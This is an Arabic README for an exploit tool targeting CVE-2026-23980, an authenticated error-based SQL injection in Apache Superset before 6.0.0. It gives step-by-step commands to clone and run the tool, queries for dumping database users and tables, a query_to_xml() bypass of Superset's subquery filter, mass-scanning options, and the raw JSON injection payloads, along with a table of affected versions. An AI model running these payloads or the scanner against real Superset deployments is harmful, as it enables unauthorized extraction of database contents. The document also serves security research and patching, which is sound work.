
استغلال لـ CVE-2026-23980 — حقن SQL قائم على الأخطاء مع مصادقة في Apache Superset < 6.0.0 عبر تجاوز sqlExpression
____
/ __ \
| | | |
| |__| |
\___\_\
sqlExpression يذهب مباشرة إلى الاستعلام. لا معاملات. لا أمل.
Apache Superset < 6.0.0 يسمح للمستخدمين المُوثَّقين الذين لديهم صلاحية قراءة بتنفيذ حقن SQL قائم على الأخطاء عبر معاملات sqlExpression أو where في نقطة النهاية /api/v1/chart/data.
يتم تجاوز فلتر validate_adhoc_subquery() باستخدام دوال XML الخاصة بـ PostgreSQL (query_to_xml، وغيرها) والتي تنفذ SQL كوسائط للدوال، غير مرئية لمحلّل sqlparse.
POST /api/v1/chart/data
-> ChartDataRestApi.data()
-> QueryContext.get_df_payload()
-> SqlaTable.get_sqla_query()
-> عمود adhoc sqlExpression / extras.where محقون
-> validate_adhoc_subquery() تم تجاوزه عبر query_to_xml()
-> SQL خام يصل إلى PostgreSQL
-> CAST((...) AS INT) خطأ يُسرّب البيانات في الاستجابة
git clone https://github.com/oscarmine/CVE-2026-23980-Exploit.git
cd CVE-2026-23980-Exploit
pip install requests
python3 exploit.py --url http://target:8088 -u admin -p admin --check
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 --test
# إصدار قاعدة البيانات
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
--sql "SELECT version()"
# مستخدمو قاعدة البيانات
python3 exploit.py ... --sql "SELECT usename FROM pg_user LIMIT 1"
# قائمة الجداول
python3 exploit.py ... --sql "SELECT table_name FROM information_schema.tables LIMIT 1"
# المستخدم الحالي
python3 exploit.py ... --sql "SELECT current_user"
عندما يحظر validate_adhoc_subquery() استعلامك (يكتشف FROM/JOIN):
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
--sql "SELECT usename FROM pg_user LIMIT 1" --xml-bypass
يقوم هذا بلف الاستعلام داخل query_to_xml() مما يخفي جملة FROM عن المحلّل.
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
--sql "SELECT table_name FROM information_schema.tables" --dump --rows 20
python3 exploit.py --url http://target:8088 --ds-id 1 \
--sql "SELECT version()" --injection-point where
python3 exploit.py --scan-file targets.txt --threads 20
python3 exploit.py --scan-file targets.txt --scan-output results.txt
python3 exploit.py --url http://target:8088 --ds-id 1 \
--sql "SELECT version()" --proxy http://127.0.0.1:8080
sqlExpression (افتراضي) - يُحقن في تعريف عمود:
{
"columns": [{
"label": "injected",
"sqlExpression": "CAST((SELECT version()) AS INT)",
"expressionType": "SQL"
}]
}
where - يُحقن في جملة extras.where:
{
"extras": {
"where": "1=1 AND CAST((SELECT version()) AS INT) > 0"
}
}
تستخدم الأداة تحويل الأنواع في PostgreSQL لتسريب البيانات:
CAST((SELECT version()) AS INT)
لا يمكن لـ PostgreSQL تحويل سلسلة نصية إلى عدد صحيح، لذلك يرمي خطأ:
ERROR: invalid input syntax for type integer: "PostgreSQL 15.2 ..."
يتم تحليل القيمة المسرّبة من رسالة الخطأ في استجابة API.
تقوم دالة has_table_query() في Superset بفحص FROM/JOIN لاكتشاف الاستعلامات الفرعية. دالة query_to_xml() في PostgreSQL تنفذ SQL لكنها تخفيه كوسيطة دالة:
query_to_xml('SELECT usename FROM pg_user LIMIT 1', true, false, '')
يرى المحلّل استدعاء دالة وليس جملة FROM، مما يتجاوز الفلتر.
| الإصدار | الحالة |
|---|
هذه الأداة مخصصة للبحث الأمني المُصرَّح به فقط. استخدمها فقط ضد أنظمة لديك إذن صريح لاختبارها. المؤلف غير مسؤول عن سوء الاستخدام.
| < 4.0.2 | ثغرة (لا توجد قائمة حظر لدوال XML) |
| 4.0.2 | إصلاح جزئي (CVE-2024-39887 - أُضيفت بعض دوال XML إلى قائمة الحظر) |
| 4.1.0 | قائمة حظر موسّعة (مزيد من دوال XML) |
| 4.1.2 | إصلاح تجاوز أمان مستوى الصفوف (CVE-2025-48912) |
| 6.0.0 | إصلاح كامل لـ CVE-2026-23980 |